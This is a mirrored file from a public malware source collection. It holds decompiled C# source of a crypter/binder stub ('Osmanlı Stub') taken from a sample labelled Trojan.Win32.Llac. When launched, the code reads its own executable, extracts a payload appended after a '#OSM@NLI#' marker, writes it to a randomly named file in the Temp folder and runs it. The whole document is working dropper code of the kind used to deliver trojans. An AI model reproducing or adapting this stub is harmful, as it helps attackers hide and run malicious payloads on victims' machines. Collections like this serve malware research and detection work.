mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
78 lines
2.5 KiB
C#
78 lines
2.5 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: Osmanlı_Stub.Module1
|
||
// Assembly: Osmanlı Stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: D861F35C-B25E-47D0-AB37-24B6B26AD263
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.zss-422dd28de11e225752fbed08057e647859adbe3ab421d7d4a24f64114d019e2a.exe
|
||
|
||
using Microsoft.VisualBasic;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using Osmanlı_Stub.My;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.Drawing;
|
||
using System.IO;
|
||
using System.Windows.Forms;
|
||
|
||
namespace Osmanlı_Stub
|
||
{
|
||
[DesignerGenerated]
|
||
public class Module1 : Form
|
||
{
|
||
private IContainer components;
|
||
private string Dosya;
|
||
private string Hedef;
|
||
|
||
public Module1()
|
||
{
|
||
this.Load += new EventHandler(this.Module1_Load);
|
||
this.Hedef = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\oTToMaN." + Path.GetRandomFileName().Replace(".", "") + ".$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$";
|
||
this.InitializeComponent();
|
||
}
|
||
|
||
[DebuggerNonUserCode]
|
||
protected override void Dispose(bool disposing)
|
||
{
|
||
try
|
||
{
|
||
if (!disposing || this.components == null)
|
||
return;
|
||
this.components.Dispose();
|
||
}
|
||
finally
|
||
{
|
||
base.Dispose(disposing);
|
||
}
|
||
}
|
||
|
||
[DebuggerStepThrough]
|
||
private void InitializeComponent()
|
||
{
|
||
this.SuspendLayout();
|
||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
this.AutoScaleMode = AutoScaleMode.Font;
|
||
this.ClientSize = new Size(284, 262);
|
||
this.Name = nameof (Module1);
|
||
this.Text = "Form1";
|
||
this.ResumeLayout(false);
|
||
}
|
||
|
||
public void Main()
|
||
{
|
||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
|
||
this.Dosya = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||
FileSystem.FileGet(1, ref this.Dosya);
|
||
FileSystem.FileClose(1);
|
||
this.Dosya = this.Dosya.Substring(this.Dosya.LastIndexOf("#OSM@NLI#")).Replace("#OSM@NLI#", "");
|
||
this.Dosya = this.Dosya.Replace("\0" + Conversions.ToString(Strings.Chr((int) byte.MaxValue)), "\0");
|
||
FileSystem.FileOpen(2, this.Hedef, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Shared);
|
||
FileSystem.FilePut(2, this.Dosya, -1L, false);
|
||
FileSystem.FileClose(2);
|
||
Interaction.Shell(this.Hedef, AppWinStyle.NormalFocus);
|
||
ProjectData.EndApp();
|
||
}
|
||
|
||
private void Module1_Load(object sender, EventArgs e) => this.Main();
|
||
}
|
||
}
|